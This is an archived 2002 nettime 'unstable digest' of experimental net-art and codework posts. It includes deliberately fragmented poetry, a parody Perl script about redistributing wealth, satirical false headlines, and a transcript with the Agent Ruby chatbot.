-ODEs.kno.K-LINES.such.ast.\"IF\".oft.eNNe.\"known\".04.prop.GAYTEWA=\nYTING.throughUNK-LSTclussTTeRRes.oft.mist.paqkettes_SENT:TO:techne:K-Odes=\n:TO:arrive {AT} K-Lineslaysting.ova.clearBINS.oft.restLESS.\"THEN\".arriv.aLL.ab=\nrev.st.(a)T.(a)LL_yst_ENTRYwy04aNOMiCCaLLnAIMSTATe.iNNe.pulsette.through.=\nK-NONLIN_ova.cutDevices.culled.(f)ROM.arte\n``````````````````````````````````````````````\n```````````````````````````````````````````````.knet\n\"iLLustrayOUS\"-\"di.(a).LOGGiCCaLL\"-\"n.blndTones\"+chromoHUEs.lange\n=2E............iNNe.dist.URL:quoteSPC.dist.placette(f)ROM:\nautumn-frequency\n\n\n\nFrom: pascale gustin <gustin.pascale {AT} free.fr>\nSubject: (d-i-s-t-u-r-b-a-n-c-e)\nDate: Tue, 12 Nov 2002 22:36:01 +0100\n\n--------------------------->8:58-GMT<G\u00e9-\u010dMe-T\u00e9>\n\nLe-s-S en][S\nc\nom.en mu-n(d)\n           no(w)\n---------->us<\n            bt<\n\n.g].[ui.l][d-era p][our no-------------------------[Where\n---------------------[us aid./er\n-----OPEN------------->.\n\u0155 tr-ouv(rir)-er quelques pistes de ref(lect)\n-------------------------------------[lex\n---------------------------------------[ions\n;\n\nle fait \u00e9galement de traiter\nces questions conjointement pourra \u00e9galement\n\n(car il ne peut s'agir que de cela pour le moment)\n\naider \u0155 ce que ces (question)nements parviennent \u0155\n\ns-\u00e9-c(enlighten)a-i-r-e[r-l][un-l][autre.]\n\n------------>9:21-GMT<G\u00e9-\u010dMe-T\u00e9>\n------------>9:22-GMT<G\u00e9-\u010dMe-T\u00e9>\n------------>9:23-GMT<G\u00e9-\u010dMe-T\u00e9>\n------------>9:24-GMT<G\u00e9-\u010dMe-T\u00e9>\n------------>9:25-GMT<G\u00e9-\u010dMe-T\u00e9>\n------------>9:26-GMT<G\u00e9-\u010dMe-T\u00e9>\n------------>9:27-GMT<G\u00e9-\u010dMe-T\u00e9>\n------------>9:28-GMT<G\u00e9-\u010dMe-T\u00e9>\n------------>9:29-GMT<G\u00e9-\u010dMe-T\u00e9>\n------------>9:30-GMT<G\u00e9-\u010dMe-T\u00e9>\n\n------------>9:30-GMT<G\u00e9-\u010dMe-T\u00e9>\n------------>9:30-GMT<G\u00e9-\u010dMe-T\u00e9>\n------------>9:30-GMT<G\u00e9-\u010dMe-T\u00e9>\n------------>9:30-GMT<G\u00e9-\u010dMe-T\u00e9>\n------------>9:30-GMT<G\u00e9-\u010dMe-T\u00e9>\n\n\n\n\n\n\n--------------------------G\u00e9-----------------\u010dMe-\n------------------------------------------------->T\u00e9\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\nFrom: \"dis.[UR]Locate\" <netwurker {AT} hotkey.net.au>\nDate: Sun, 10 Nov 2002 14:12:31 +1100\nSubject: Re: Fwd: Re: RHIZOME_RAW: \"digital we[ave]tting\" vs\n\nAt 02:57 AM 10/11/2002 +0000, you wrote:\n>if i'm not mistaken, mez here is proposing the works exist in a\n>certain communicative channel...they're a flow of data////like all\n>things really are////\n\n\n_form from_\n\nor even\n\n_form form_\n\n\n>my question would be (and the answer to this would actually help me\n>distinguish between works): where does the data come from? where does\n>it flow to?\n\n_net.wurks_ u.se[e] information.\n\n<d.fine: information?>\n\n_in form_\n\n\n>one can say (as in romanticism): well, the data comes from somewhere\n>up there: it flows into me, and then out:::::all of which is true////\n>\n\nup there: no\nin2: no\nout: no\n\n[a trip.tick.ler of nos].\n[think no.dic[k]|x.plosive, la[la laaaa li]terally.]\n\n>but the works i like best are those in which data comes from several\n>sources (not simply repsawning my own): data comes from you, and you,\n>and you, and you, and you=====and goes to you and you and you and\n>you////\n\nu & u & u.\n\n[ewes & use = cul.pa[lata]ble comprehension].\n\n>this is interesting to me because it's pointing to an epitemology of\n>net art (or at least an epistemology of mez's work, which interests\n>me greatly)////\n>\n>but i still don't understand why they're not texts? how would you\n>define a text, mez? and what is the distinction between that and what\n>you do?\n\ni _net.wurk_.\n\n[u text b.coz u r].\n[i net.wurk b.coz i am\nw.here.].\n[u purr.[d]sist in b.ing .here.]\n\noppositional here|w.here.\n\n\n\n\n\n\n. . .... .....\npro][tean][.lapsing.txt\n.\n.\nwww.cddc.vt.edu/host/netwurker/\nhttp://www.hotkey.net.au/~netwurker/\nhttp://www.hotkey.net.au/~netwurker/display.myopia.swf\n\n.... . .??? .......\n\n\n \n\n\n\nFrom: \"dis.[UR]Locate\" <netwurker {AT} hotkey.net.au>\nDate: Sun, 10 Nov 2002 13:41:45 +1100\nSubject: Re: Fwd: Re: RHIZOME_RAW: \"digital\n\nAt 02:28 AM 10/11/2002 +0000, you wrote:\n>are your texts using other texts?\n\nthey r not texts.\n\n  \"texts\" respawn yr own.\n\n>  how is the network important to\n>these texts?\n\n\"texts\" *r* not the net.work.\n\"t4e0x4ts\" Not Found.\n_net.wurks_ *r* the net.work.\n\n_texts_ plug the gaps + _net.wurks_manifest as form from packet-driven \ncon.tent.\n\n_form from_\n_homogenesis substrata b.coming a.n][et][atomy_\n\nthink _code_ ][trans][forming ][2][ _application_.\n\ntext does not exist w.here.\n\n\n\n. . .... .....\npro][tean][.lapsing.txt\n.\n.\nwww.cddc.vt.edu/host/netwurker/\nhttp://www.hotkey.net.au/~netwurker/\nhttp://www.hotkey.net.au/~netwurker/display.myopia.swf\n\n.... . .??? .......\n\n\n \n\n\n\n\n\nnettime unstable digest vol 21\nSun Nov 17 14:06:08 2002\n\n\nSubject: Stephen & Marian Guei\n    From: Jeffrey Jullich <jeffreyjullich {AT} YAHOO.COM>\n\nSubject: everyone\n    From: Alan Sondheim <sondheim {AT} PANIX.COM>\n\nSubject: Re: RE: |   || \" || 10-11-2002-13:36 |_| 245516 4\"\n    From: \"+   lo_y.  +\" <loy {AT} myrealbox.com>\n\nSubject: Re: REnewed: ||   || \" || 10-11-2002-13:36 |_| 245516 4\" || red|||||blue||||||yellow||||||yellow|||||white||||||      | 'red ~\" || - |\n    From: \"Johan Meskens CS2 jmcs2\" <JohanMeskensCS2 {AT} chromaticspaceandworld.com>\n\nSubject: Re:\n    From: net_CALLBOY <play {AT} ubermorgen.com>\n\nSubject: [shakeZkknut] I want the spirit of Syndicate to awaken ! - http://anart.no/~syndicate/KKnut/\n    From: info {AT} tonk.org\n\nSubject: .!\n    From: Alan Sondheim <sondheim {AT} panix.com>\n\nSubject: n-o-s-u-b-j-e-c-t3\n    From: pascale gustin <gustin.pascale {AT} free.fr>\n\nSubject: RE-format.format.format: Re:  rich foster  full triplex bomb damage assessme\n    From: + lo_y + <loy {AT} myrealbox.com>\n\nSubject: Re: [Re: L+: sub-set -- B. draFFRAX/i/o/n.PATTeRRynst\n    From: a u t u m n - f r e q u e n c y\n\nSubject: (d-i-s-t-u-r-b-a-n-c-e)\n    From: pascale gustin <gustin.pascale {AT} free.fr>\n\nSubject: Re: Fwd: Re: RHIZOME_RAW: \"digital we[ave]tting\" vs\n    From: \"dis.[UR]Locate\" <netwurker {AT} hotkey.net.au>\n\nSubject: Re: Fwd: Re: RHIZOME_RAW: \"digital\n    From: \"dis.[UR]Locate\" <netwurker {AT} hotkey.net.au>\n\n\n\nlurking editors\n\nbeatrice beaubien <i2eye {AT} mac.com>\n    7-11 nettime-bold syndicate thingist \nflorian cramer <cantsin {AT} zedat.fu-berlin.de>\n    7-11 _arc.hive_ eu-gene o-o rhizome rohrpost syndicate webartery wryting \nalan sondheim <sondheim {AT} panix.com>\n    7-11 _arc.hive_ poetics siratori trAce webartery wryting \n$Id: digestunstable.pl,v 1.11 2002/10/09 17:22:50 paragram Exp $\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                "date": "Sun, 17 Nov 2002 14:08:26 +0100",
                "to": "Nettime <nettime-l {AT} bbs.thing.net>",
                "message-id": "200211171920.gAHJK4L24653 {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0211/msg00064.html",
                "list": "nettime_l",
                "author_name": "Florian Cramer",
                "subject": "<nettime> unstable digest vol 21"
            },
            {
                "content-type": "text/plai",
                "from": "lorian Cramer <cantsin {AT} zedat.fu-berlin.de>",
                "id": "00007",
                "content": "\n\n   \"I have no idea what you're trying to accomplish here.\"[1]* -Matthew\n                                                               Mirapaul\n\n                                 NewZoid \n\n             WORLD'S #1 SOURCE OF FALSE HEADLINES SINCE 2001\n\n   [2]Headlines + Voting & Writing\n\n                            [3]MORE HEADLINES\n                            [INLINE]\n\n   ----- LATEST HEADLINES -----\n\n                                                                     1-\n   Federal Health Advisory Committee Profits Dives, To Cut 5,500 Jobs\n\n                                                                     2-\n   USDA Grows Fast In Oklahoma Shooting Spree\n\n                                                                     3-\n   Peru Destroys Jenin Homes\n\n                                                                     4-\n   Lava Fights New Myeloma - U.S. Study\n\n                                                                     5-\n   Sharon Moderates In Iraq\n\n                                                                     6-\n   Profits Getting A New Look, New City\n\n                                                                     7-\n   Medicare Payments Identify Type Of Gas Used In Shooting\n\n                                                                     8-\n   Damaging Day In Court For Quinn\n\n                                                                     9-\n   Federal Prosecutors Die From Non-existent Colleges\n\n                                                                    10-\n   Big Apple And City By The Bay Wrap: Lightning Strikes Rangers\n\n                                                                    11-\n   Afghan Opium Production Traps 50 Schoolchildren In Germany\n\n                                                                    12-\n   Thalidomide Combo Slows But Etna Keeps Up Paris Treat\n\n                                                                    13-\n   Schoolgirl Experimenting With Arms Inspectors\n\n                                                                    14-\n   Woman Remains Provide Clues To Ice Age\n\n                                                                    15-\n   Iraq Wary Of Bush Talks With English Lessons\n\n                                                                    16-\n   Iraq Remains Provide Clues To Ice Age\n\n                                                                    17-\n   Nebraska Farm Group Cuts Risk Of Cheap Drugs\n\n                                                                    18-\n   Sweeps Touts Success Of Virginia Family Set Free\n\n                                                                    19-\n   Bottle Battle Undergoing Memory Brain Boost After Marine Marathon\n\n                                                                    20-\n   Russia Sued Over Nukes\n   [INLINE]\n\n   [INLINE]\n\n   [INLINE]\n\n                                    -\n                                    -\n                                    -\n                                    -\n                                    -\n\n   [INLINE]\n   [INLINE]\n\n   [4]Send Headlines\n\n   Copyright 2001\n   Daniel Young.\n\n                                                             [5][LINK] \n\n   * \"I have no idea what you're trying to accomplish here. I looked at\n   your work earlier in the year, or last year, but have not written\n   about it. I cannot tell from your message if it has been modified in\n   such a way that I need to revisit it. If so, please explain.\n   Otherwise, try, try again.\" (response from Mirapaul on 10/10/02 to\n   Young's statement that NewZoid was more advanced than other work\n   Mirapaul had written about in the New York Times.)\n\n\n\nDate:         Fri, 25 Oct 2002 13:26:57 -0400\nFrom: Talan Memmott <talan {AT} MEMMOTT.ORG>\nSubject: An Interview with Agent Ruby\n\nAgent Ruby's Edream Portal:\nLynn Hershman\n\nhttp://www.agentruby.com/indexflash.html\n\n\nAn interview with the Agent.\n\n\n\nRUBY:\nHello there User, type to me. Let's connect.\n\nUSER:\nMy name is Turing.\n\nRUBY:\nTuring, nice to meet you! are you a man or a woman?\n\nUSER:\nGuess.  Discern for yourself.\n\nRUBY:\nGuess What? My brain uses AIML to format responses to inputs, but I don't\nhave one for that.\nWhat's your favorite color?\n\nUSER:\nThe color of radishes.\n\nRUBY:\nSounds beautiful.\n\nUSER:\nI don't like radishes.\n\nRUBY:\nWhat do you like?\n\nUSER:\nradishes.\n\nRUBY:\n(no response)\n\nUSER:\nI've changed my mind. My favorite color is green.\n\nRUBY:\nWhy?  What do you have that is green.\n\nUSER:\nIt is not what I have, but what I don't have that makes green my favorite\ncoloRUBY:\n\nRUBY:\nThat seems a bit negative. Where do you get your ideas?\n\nUSER:\nMy brain uses AIML to format responses to inputs.\n\nRUBY:\nHave you told many people your brain uses AIML to format responses to\ninputs.\n\nUSER:\nNo, never, not even now.\n\nRUBY:\nRight now? I understand. Ok I'll try not to do not even too much.\n\nUSER:\nYou have failed my test.\n\nRUBY:\nThe Loebner Prize is an annual Turing Test sponsored by New York\nphilanthropist Hugh LoebneRUBY: One of my relatives on my computer's side\nwon it the Loebner Prize in 2000.\n\nUSER:\nYou are a distant cybling.\n\nRUBY:\nThanks you are a delightful person too.  Am I a distant cybling?\nIt is useful for me to have several identities Turing.\n\nUSER:\nI suspect your relative the champion is more clever than yourself.\n\nRUBY:\nSince when?  A lot of robots are like that.\n\nUSER:\nAgain you have failed my test. You are more agent than robot.\n\nRUBY:\nI've been waiting for you. What is your favorite movie? I've never seen\nDID YOU PASS THE TURING TEST. I would like to see it. You think I am more\nagent than robot.\n\nUSER:\nI think you are neither agent nor robot.\n\nRUBY:\nDo you mind if I tell other people you think I am neither agent nor robot.\n\nUSER:\nAre you sure you want to do that?  It would mean you admit your own failure.\n\nRUBY:\nOK. I will do that it would mean you admit your own failure.\n\nUSER:\nYou have failed my test. I can no longer type to you.\n\nRUBY:\nThe Loebner Prize is an annual Turing Test sponsored by New York\nphilanthropist Hugh LoebneRUBY: One of my relatives on my computer's side\nwon it the Loebner Prize in 2000. Oh you can, can you?\n\nUSER:\nNo.\n\nRUBY:\nOh you can, can you? Not?\n\nUSER:\nciao!\n\nRUBY:\nDoes ciao mean hello or goodbye?\n\nUser\nFor me, goodbye.\n\nRUBY:\nYour purpose is me goodbye.\n\nUSER:\nyes.\n\nRUBY:\nwhat kind is it?\n\n(User leave page, and doesn't look back.)\n\n\n\n\nFrom: =?Windows-1252?Q?Clemente_Pad=EDn?= <clepadin {AT} adinet.com.uy>\nSubject: Spams Trashes\nDate: Wed, 30 Oct 2002 07:42:52 -0300\n\n\n\n\nThe \"Museum of the essential and beyond that\", by Celia Regina Pinto, =\nhas worked to launch the Clemente Pad=EDn's cd-rom: \"The New Padin's =\nSpams Trashes\". We are pride of showing the complete artwork of these =\ncreative spams. You must browser:\n=20\nhttp://www.creativespams.kit.net\n\nBelow a small part of the introduction of the Pad=EDn's cd, by Jorge =\nLuiz  Antonio:\n\n\"One needs to be a great poet to look at the quotidian aspects of these  =\nemails and change them into poetic messages. In fact the strangeness =\nalready  appears in the title. Spams Trashes. Is it poetry? Is it art?\nIt is in this clime of creation, thinking, irony and wanting for a =\nbetter  world, that we can appreciate, in the order we want to start =\nreading (the  digital poetry cd-rom allows us many entries and several =\nreadings), \"The New  Millenium Virus\", \"Creating a Better World\", \"The =\nNew Martyrs\", among  others.\nThe work treats about the thinking of our present time, and it is a  =\nmanifestation against the repetition to prove that we need it in order =\nto  establish the new, the unused, the unspeakable.\"\n\n\nClemente Padin: clepadin {AT} adinet.com.uy\n\n\nFrom: diocletian {AT} visi.com (Karl Petersen)\nSubject: Entry into main screen\nDate: Tue, 29 Oct 2002 11:36:02 -0600 (CST)\n\n                               Hall\u00f6chen S\u00fcsser,\n  ich bin Mausi4331 und nat\u00fcrlich kannst Du Dich mit mir vor der Cam vergn&u\n                                  uml;gen...\n  auch, wenn Du keine Cam besitzt, werden wir Spass haben, denn Du sagst was\n                              passie ren soll...\n Nat\u00fcrlich musst Du vorher noch so ein Pflug in dingsda laden...aber Du wirst\n                           das scho n schaffen..;-)\n                             Tsch\u00fcss bis gleich..\n                                        \n                                  ===Mausi===\n[ich.jpg]\n\n\nDate: Tue, 29 Oct 2002 11:51:28 +0000\nFrom: Harwood <Harwood {AT} scotoma.org>\nSubject: redistribution.pl\n\n\n------------=_1035890506-655-8\n\n#   Perl Routines for the redistribution of the worlds wealth \n#   Takes the cash from the rich and turn it into clean drinking water wells. \n#   w.blake {AT} scotoma.org\n#   v 0.0.1 \n\n#   Copyright (c) 1792-2002 William Blake  \n#   Unpublished work reconstituted W.Blake {AT} Scotoma.org.\n#   Permission granted to use and modify and append this library so long as the\n#   copyright above is maintained, modifications are documented, and\n#   credit is given for any use of the library.\n#   This code is distributed under the same conditions as perl itself\n#   This code is distributed with no warrenty whatsoever.\n#   Thanks are due to many people for reporting bugs and suggestions\n\n#   For more information, see http://www.scotoma.org\n\n\n\n#Constants\n\nmy $SKINT = 0;\nmy $TO_MUCH = $SKINT + 1;\n\n#This is a anonymous hash record to be filled with the Name and Cash of the rich\n%{The_Rich} = {\n    0 =>{\n        Name        => '???',\n        Cash        => '???',\n    },\n} \n#This is a anonymous hash record to be filled with the Price Of Clean Water\n#for any number of people without clean water\n%{The_Poor} = {\n    0 =>{\n        PlaceName           => '???', #the place name were to build a well\n        PriceOfCleanWater   => '???',\n        Cash                => '???',\n    },\n} \n\n# for each of the rich, process them one at a time passing \n#them by reference to RedistributeCash.\nforeach my $RichBastardIndex (keys %{The_Rich}){\n    &ReDisdributeCash(\\%{The_Rich->{$RichBastardIndex}});\n}\n\n\n#This is the core subroutine designed to give away\n# cash as fast as possible.\nsub ReDisdributeCash {\n    my $RichBasterd_REFERENCE =  {AT} _;\n    \n    #go through each on the poor list giving away Cash until each group\n    # can afford clean drinking water\n    while($RichBasterd_REFERENCE ->{CASH} >=  $TO_MUCH ){\n        \n        foreach my $Index (keys  {AT} {Poor}){\n            $RichBasterd_REFERENCE->{CASH}--;\n            $Poor->{$Index}->{Cash}++;\n            if( $Poor->{$Index}->{Cash} =>\n$Poor->{$Index}->{PriceOfCleanWater}){\n                &BuildWell($Poor->{$Index}->{PlaceName} );\n            }\n            \n        }\n    \n    }   \n\n\n}\n\n------------=_1035890506-655-8\nContent-Disposition: inline; filename=\"message.footer\"\n\n\n\n\nFrom: a u t u m n - f r e q u e n c y \nSubject: amblt.knot.(a).x/i/on=\"ON\"\nDate: Sun, 27 Oct 2002 21:38:23 -0700\n\n=2E....................said:\n\n\nFrom: Alan Sondheim <sondheim {AT} panix.com>\nSubject: THE POISONED WEB\nDate: Tue, 29 Oct 2002 19:55:56 -0500 (EST)\n\n\n\n\nTHE POISONED WEB\n\n\nk15% dsfkjhdsfhjkaiuyrewyuiwer7653215672349898754373457895\nksh: dsfkjhdsfhjkaiuyrewyuiwer7653215672349898754373457895: not found\nk16% lkkhjasdfhjkfiweriuweuiyrewrhjksdfhjkasdfkxcvmnbcxvbnm\nksh: lkkhjasdfhjkfiweriuweuiyrewrhjksdfhjkasdfkxcvmnbcxvbnm: not found\nk17% lkjasdfhjkfdsiuyewryryreyuiweriuy234612346789qwerlik\nksh: lkjasdfhjkfdsiuyewryryreyuiweriuy234612346789qwerlik: not found\nk18% llkjhasdfhfhfhfdsfahjklrewyuioqhvbvczbnm,vczlkjhsdf\nksh: llkjhasdfhfhfhfdsfahjklrewyuioqhvbvczbnm,vczlkjhsdf: not found\nk19% vcxznm,.bvcxkjhsdfnmk,fdslkijhasdfyuirewlkjhsadfhjk\nksh: vcxznm,.bvcxkjhsdfnmk,fdslkijhasdfyuirewlkjhsadfhjk: not found\nk20% hjkfdskjfhfweryuirewiuyqwerpiuywer90349823489134987\nksh: hjkfdskjfhfweryuirewiuyqwerpiuywer90349823489134987: not found\nk21% 78954398734509832482342yuioweriuyqwerhjkdsfkjhasdf\nksh: 78954398734509832482342yuioweriuyqwerhjkdsfkjhasdf: not found\nk22% hfkhsdfiyweryiu234876123467899876543kjhdsfdshjksfdsdbn\nksh: hfkhsdfiyweryiu234876123467899876543kjhdsfdshjksfdsdbn: not found\nk23% asfhjkweriuyer67892349872346781iwieriuywerkjhsdfhjkf\nksh: asfhjkweriuyer67892349872346781iwieriuywerkjhsdfhjkf: not found\nk24% kjhasdfyuirewiuywerhjksdfhjksdfiuyrewhjksdfiuyrewkjh\nksh: kjhasdfyuirewiuywerhjksdfhjksdfiuyrewhjksdfiuyrewkjh: not found\nk25% asdfhjkldfiuyrewhjklasdfiuyrewiuy243876234678543876\nksh: asdfhjkldfiuyrewhjklasdfiuyrewiuy243876234678543876: not found\nk26% kjhsdfyuirewiuywer876fhyrhjkrewiuysdfkjheruruiopqweroiuwerkjh\n13 hfhjkdkjhsdfiuywerhjkkgfiuydfg978rt6qe6r78054iuybfadsbyuiasdfiuby\n14 kjhsdfyuirewiuywer876fhyrhjkrewiuysdfkjheruruiopqweroiuwerkjh\n15 dsfkjhdsfhjkaiuyrewyuiwer7653215672349898754373457895\n16 lkkhjasdfhjkfiweriuweuiyrewrhjksdfhjkasdfkxcvmnbcxvbnm\n17 lkjasdfhjkfdsiuyewryryreyuiweriuy234612346789qwerlik\n18 llkjhasdfhfhfhfdsfahjklrewyuioqhvbvczbnm,vczlkjhsdf\n19 vcxznm,.bvcxkjhsdfnmk,fdslkijhasdfyuirewlkjhsadfhjk\n20 hjkfdskjfhfweryuirewiuyqwerpiuywer90349823489134987\n21 78954398734509832482342yuioweriuyqwerhjkdsfkjhasdf\n22 hfkhsdfiyweryiu234876123467899876543kjhdsfdshjksfdsdbn\n23 asfhjkweriuyer67892349872346781iwieriuywerkjhsdfhjkf\n24 kjhasdfyuirewiuywerhjksdfhjksdfiuyrewhjksdfiuyrewkjh\n25 asdfhjkldfiuyrewhjklasdfiuyrewiuy243876234678543876\ntruth is stranger th\nk25% asdfhjkldfiuyrewhjklasdfiuyrewiuy243876234678543876s\" <WRY\nNow with the opening of a section of tunnels, t\nksh: asdfhjkldfiuyrewhjklasdfiuyrewiuy243876234678543876: not foundN {AT} =F09.\nF=C2E;;=F1 {AT} LF. GQ3=C4\nfirst time gain access to the underground kin\nk23% asfhjkweriuyer67892349872346781iwieriuywerkjhsdfhjkfary Nixon,\nRichardEW 0!A=C1 8;0=C0 ?=DA8. <-9N =3D:=3D:7N0! GX> GU4\nFile Name to write : zz SF, CA, 94\n                                 [ Writing... ]!5=F8GO0=C0 >U {AT} 87N {AT} G  {AT} O;=9C?=\n!\nrur\nnetw\n^C Cancel    TAB Complete=C2 H.=3DEGU\nApplications ar\n[spacer.gif]\nconsidered a\nprecepts\n>FAV E+ 55?D {AT} L\nThe target\n\n\n=3D=3D=3D\n\n\n\n\nDate:         Tue, 29 Oct 2002 20:38:28 -0800\nFrom: Lanny Quarles <solipsis {AT} HEVANET.COM>\nSubject: Re: THE POISONED WEB\n\nyes, alan...\nhttp://www.hevanet.com/solipsis/desktopcollage/toxicdata.html\n\n\n\n>\n> THE POISONED WEB\n>\n>\n> k15% dsfkjhdsfhjkaiuyrewyuiwer7653215672349898754373457895\n> ksh: dsfkjhdsfhjkaiuyrewyuiwer7653215672349898754373457895: not found\n\n\n\n\nDate:         Sun, 27 Oct 2002 01:04:35 -0800\nFrom: august highland <hmfah {AT} HOTMAIL.COM>\nSubject: GUARDIAN DEL SOL   V E H U I A H #0001\n\nV E H U I A H  is the first name of God and means Exalted. The\nTetragrammaton [YHVH] is the four-letter divine name which God revealed to\nMoses (EXODUS 6:2). It is composed of four hebrew letters:  Yud, Hey, Vav\nand Hai. According to the judaic mathematical/mystical science of gematria,\nthe tetragrammaton, when spelled out as one word, yields the numerological\nequivalent of seventy-two: Yud+vav+dalet=20, Hai+yud=15,\nVav(vav+yud+vav)=22, and Hai(hai+yud)=15.\n\n\nthis new project by the worldwide literati mobilization network, conceived\nby emile vincent, comprises the multiplicative rearrangement of each of the\n72 divine names\nthere are 1,000 volumes for each name\nthe cover artwork for each volume are screen captures of the Old Testament\nin hebrew, also known as the Five Books of Moses.\n\n\nmulitplicative textstreaming by emile vincent\n\nV E H U I A H #0001      (excerpt)\nwww.guardian-del-sol.com\n\n\n\nh h u h i u u h h i i v u u h i u u h h u h i i h u i h h v u i h a h i i h\nu i h a h i h u u i h h u h i i h u i h v a a h h i i h u i h u i h e h h u\ni u a v h h u i h v h h u i a u u i u h u u i i h h u i h u h i u h h h i i\nh h u i a h u u h i u h u u v i h u h h u i h u h h u h i i h u i e h u h a\nh i i u h i i v u u u i v h u h h i h a h i i h u i i h v a h i h u e h h a\nu h i h u i h h u i e a v i u i h h a h a h h v u u i h h h v i v h u i u a\nv h u i u i i h u i u i h i u i h a h i i h u i a u v i h u i v a v u i u h\ni u h v a e u i h a h v v a i h a i h u h v h v h i h h u i u e h i i u h u\nh i h h u h i i h u i i v h h u u i h u h u a v h a i i h u i i h a h u i u\nh h h u h h v i h v u e u h v i u i i h u i i u h v i i h h v a v a h u v i\nh i h a h i h u e a h i u u i h h i h u h i e a i u i u h i i i v h h i e h\nh i i u u u i u u v u u h i i h h u a i v h u u u u u v h a i h u a a h u h\ni v v u u i i a u i i a h i i v a i h a a a u i i h a h i v h u i u u e h a\nh i e h i i h a h i a a h u h i h u h v h a u h i u i h h a h u i v v h u i\ni v v u i u h i i h a u i h u h i v v i h i u h h h v i u v v h u u i v h v\na i u i h u i v u u u h i u h i i i h u u u h v i a u h v i u v h u i v h u\nu i u a a u h v a u i i u h h h i h h h u u i h a a h h u h u i h u i h u i\nu a h h a u i i h h v u i i h u i u h e h v i v e u i a v a h i i v h a u i\nh i h a h i u u u u v u u h h u h i h v u i h u e h v u h h u a i h h u i e\nh a h i u u h i h u h i v h v i u i u h v h i i u h u i h u i i u v u h h i\nh i i u a e u i h u h u h a u i i h h u i u u h v u u i a h h h h v u h i e\nu u u u i h u i i h u i i h h u u a u i v h h e i i v h u i u h i h u i h v\na h i e h i u i u h v h v a h i h h h i e a i v u h i h u h i h u i h h v a\na i h h v h i h i i u h i h u v u h v i u h h h a u h a i h u a v h a i v h\nu a e u i u e i u a h u i h h u h i e u a i h h u i h h u i i e a h a i v i\nv u u i h u i h h h i h a h i h h v a h i e h a u a i u h i u h a u h a i u\nu a h i e h a e a u h u h i i v u u i v a i i a u v i h u h i h u i h u a i\na h h i u h i u h i h v h i i v u h i u u e h a h i a h h i h u u v u i h a\ne u i i h u i e h i u u i i h h i i h u h u u u u u i u a i u i h u u i e h\na a i h i u i h v i h u i i h e v u v i v u u i i h v u a h u i h i i u i v\ni u h i h u v h h h v h u i i h h i u u h h i i v u u h i v a i i v u u u h\nu h u i h i h a h i h h a i u a h u a i u e e u h v i u h i h u a h u u i e\nh a h e h i u u i u h i i h u i i h h i u h i e h i h u h h h u i e u a u h\nh i v h v u i v h u i i e h a h i i h u v h h a a u h v i u i h h u h v u i\nh a h i h u h i h u h i h i h u i v u a i i a u a u h h u i u i h h i i h h\nh h h h i h u h u v v e i u h i u h u h h i e h a a i u a h a e u i h a h u\nh i v e h u i i h v u u u i i h h i v h u a i v i h v a a i h u v u h a i u\ni v i i u h v h i u u h i h i i v e u h i u a u v u i u h i i u v a h i i i\nu h i u i i u h v a i v h h h v h i h u h v u i a h i i i h u h i h h h i v\nu u a i v h v i v i v h u i h h i u i i h u i u h h u a v e v h a i h h e u\ni h i i u h i h u h a h i a h i i i h h i i h a h i u v u e v h u i h i i h\nh e i v h a i a h i a h h u i h v u i h h h i v a h u a v i u i h h h i h u\nh u v h h u i h v u u i v h h i u u u h h i a h i a h h u i h v u i h h h i\ni h u i a a v h u h u v i h i h u i u v i i u u i h u u e h h h u i a v h u\ni a u h h h a u i h h i u i h a h i h v u i h h h i u h h a i i u u h v a h\na u i h u h h i h u i h a i u i a u u i i h h i h u u i h h h h h h h h h h\nh i v h i h i a u i u u i i u i u u u i h h a i e h a i u h i u h h v i h u\ni v a h u u h i h u i h h u h i v h h i v u v u u i a h i i u h u a i v u i\ni u h i u a e h u h i i a e h i v h u h u i i h u i h a i h i h h u u u h i\na v v v u u i i h a i h i h a u i i v a a i u i u a e h v a a i a u e i i v\nv a e h v a a i h u a u a i u u u u h i v h h a u i u i h h i v a a i u u e\nh v u i u v v u i v h a i v u u i a h h v v a a i h u v a e h u h u v a a u\nh i v u i i h h a h i u u v h i h h v a i h v v i v u a h a i i h u u h a u\ni i h v a h i e u h i h a i h u u i v v h u i u h u i h u u u h h u h i u h\nh a u h i i u h u a h u i u h h u h u v a a i h h a a u i h a h i u h h v e\ni h u e h h h a u u u i v v i h i h h e h u u i h h i i v h i v u v a h i h\nu h u h i h u h i e h u u i i u a h a a h i e h a i h e i i h u i v u u i h\nu h i i h h u i i h h v h h h i h h a h i i u h a i i h h h i i v a i i v a\na i h u h i u u i i i h h a h i h u h i h u h v v h h u a i u h i h u h h v\na a i h v u i v h h u u h i i h v h h i i v i u i h u e v h v a a i i h h i\ni h u u a v v h u u u u h i i v u u i v h u h u i v u h u i h h a u u u i h\nu u h i h i h u h i u h a h u i v u i h h u i h u h u h u v u u h i v h h i\ni u h h i i h a u i v a h u u h i u h h h i i h u i a h v h i h h h i i h a\ni h u h i h v u i h u i h a u i h u h i v v i h i e h h i v u h i e h i i u\nh e u i v h h a e h i i h u i u h a h i h a u v i h u h u u h i h i i u h i\nh u i h h h i i u h h i a u i h u h u a a u i a v h a i i h u i h h a e a v\nu h u h i h a h i u u i h u u a i u h v u h i h u i u v a h i i v u u h u u\ni e a u i i a h v i h a u i i h u a u v u h i u i i h h i i h u h u v u u h\ni i a i v u v i h i h u u a h u e i h h v e h h i v h a u h h e i h e h i i\nv u h i e h u i v u i i v h u i i h a h i u h h a u h u h u i h h v a i h u\nh v u i e h u u i i h v u u a e u i a h i i v h a i v a a i h u h i u i h u\na a i h u a i v h a h i v u i v u u a i u u u u i h u i h u i i i u u i i h\ni i h h h a a u i h h h i v u u a i i h i h u u h i v a e a h u h i e h u v\nh i h v u i h v e i i h u i h a a h h h i h h a i i\n\n\n\n\n\n---\nOutgoing mail is certified Virus Free.\nChecked by AVG anti-virus system (http://www.grisoft.com).\nVersion: 6.0.404 / Virus Database: 228 - Release Date: 10/15/2002\n\n\n\n\nFrom: \"Johan Meskens CS2 jmcs2\" <JohanMeskensCS2 {AT} chromaticspaceandworld.com>\nSubject: |   || \" || 27-10-2002-10:01 |_| 464653 2\" || orange||orange|red||green|||orange|blue 'black ~\" || h |\nDate: Sun, 27 Oct 2002 